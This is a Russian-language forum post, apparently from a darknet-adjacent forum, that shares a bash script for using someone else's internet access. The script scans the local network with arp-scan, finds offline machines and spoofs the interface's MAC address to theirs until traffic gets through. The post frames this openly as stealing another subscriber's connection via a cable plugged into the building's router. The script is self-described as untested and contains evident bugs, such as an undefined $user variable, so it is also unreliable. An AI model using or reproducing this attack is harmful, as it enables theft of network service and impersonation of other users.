Замена MAC адреса на адрес локальной сети скриптом

Статус
В этой теме нельзя размещать новые ответы.

BrunoGray

Пассажир
Сообщения
35
Реакции
13
Практическая ценность. Заменив MAC на адрес offline компьютера из локальной сети, получаем доступ к интернету от другого пользователя (не всегда, но думаю нет смысла объяснять исключения).

Вариант использования. Ставим на компьютер виртуалку и передаём ей свободную сетевую карту, предварительно подключаем к ней провод (можно купить новый и подключить к маршрутизатору в падъезде). На виртуалке уже используем скрипт и пользуемся чужим интернетом с виртуальной машины. При этом вне виртаулки можем использовать интернет с другого интерфейса. Плюс данного способа в том, что получаем всю скорость локального компьютера сети вместо части трафика при взломе wi-fi.

Создаём пустой документ (замените debian на ваше имя пользователя, что бы узнать $ ls /home)
$touch /home/debian/local.sh

Сразу сделаем его исполнительным
$ chmod +x /home/user/local.sh

Примечание: данный скрипт работает для подключение через interfaces (для подключения через NetworkManager стоит добавить несколько строк с nmcli); скрипт писался на коленке и не был проверен, отпишите в комментариях о работоспособности.

Открываем любым текстовым редактором и вставляем в него следующий текст:
Код:
#!/bin/bash
interface="eth0" #"введи название интерфейса (не lo) внутри ковычек" что бы узнать $ ls /sys/class/net
username="debian" #"введи имя пользователя внутри ковычек" что бы узнать $ ls /home

# создаём общий файл имеющихся ip адресов и mac адресов сети
cat /home/"$user"/spoof/localnet | grep '^[0-9]' > /home/"$user"/spoof/localnet

# создаём файл адресов online
sudo arp-scan --interface="$interface" --localnet | grep '^[0-9]' | sed '$d' | sort -t . -k 3,3n -k 4,4n | awk '{print $1,$2}' > /home/"$user"/spoof/online

# добавляем адреса которых нет в localnet из online (новые адреса появятся внизу списка до повторного использования скрипта)
grep -f /home/"$user"/spoof/localnet -v /home/"$user"/online >> /home/"$user"/spoof/localnet

# вычитаем из общего списка адресов, online адреса, получаем offline адреса
grep -f /home/"$user"/spoof/online -v /home/"$user"/spoof/localnet | awk '{print $2}' > /home/"$user"/spoof/offline

c=1
connect=$(ping -I "$interface" -q -c 1 8.8.8.8)
addr=$(sed -n "$c"p /home/"$user"/spoof/offline)

while [[ $connect != "" ]] # до отправки первого пакета (пока ping не перестанет писать 100% пакетов утеряно)
do
	addr=$(sed -n "$c"p /home/"$user"/spoof/offline | awk '{print $2}') # выбераем mac строки соответствующей c (1, 2 и т.д.)
	"$addr"
	sudo ip link set dev "$interface" down # выключаем интерфейс
	sudo ip link set dev "$interface" address "$addr" # заменяем mac на ранее выбранный
	sudo ip link set dev "$interface" up # включаем интерфейс
	connect=$(ping -I "$interface" -q -c 1 8.8.8.8 | grep '100%') # отправляем пакет для проверки
	"$connect"
let "c=c+1"
done

Меняем в 2х первых строчках eth0 на имя устройства и debian на имя пользователя.

Скрипт можно запустить командой:
$ /home/debian/local.sh

Чем больше вы будете запускать скрипт тем большее количество адресов будет доступно для подбора.
 
Последнее редактирование:
Кто сумеет дописать скрипт, стучите в жабу (PGP only), буду рад пообщаться.
 
Статус
В этой теме нельзя размещать новые ответы.

Похожие темы

Привествую уважаемый читатель. Данный гайд будет больше направлен на владельцев шопов или кому надо придерживать анонимную и безопасную связь с работниками или коллегами, чем на обычного юзера даркнет сети. Здесь расскажу как поднять "свой мессенджер" в сети ТОР. Много где находил вопросы по...
Ответы
17
Просмотры
1. ip route show - Определение ip-адреса роутера (ip будет отображён после строчки "default via"). 2. nmap -sn IP_РОУТЕРА/24 | grep "Nmap scan report" - Данная команда выведет список ip-адресов подключённых устройств (минималистичным списком). nmap -sn IP_РОУТЕРА/24 - Будет...
Ответы
26
Просмотры
  • Закрыта
Сказ о том, как сохранить свои файлики в случае пиздеца. В прошлой статье, я рассказал вкратце, как и что шифровать, вообще для чего шифровать. Теперь постараюсь помочь сохранить нашифрованное. В случае потери доступа к своему оборудованию, нужно успеть получить доступ к своим важным файлам. К...
Ответы
5
Просмотры
  • Закрыта
Интернет провайдер может отфильтровать OpenVPN протокол с помощью технологии Deep packet inspection (сокр. DPI, также complete packet inspection и Information eXtraction или IX) — технология накопления статистических данных, проверки и фильтрации сетевых пакетов по их содержимому. В данном...
Ответы
1
Просмотры
Как поднять свой socks5-сервер для Telegram Для работы простого socks5-сервера вам понадобиться виртуальная машина на каком-нибудь хостинге и Ubuntu 16.04 LTS. Настраивать будем Dante Server 1.4.2, эта версия поддерживает работу с авторизованными пользователями и в ней исправлены многие...
Ответы
2
Просмотры
Назад
Сверху Снизу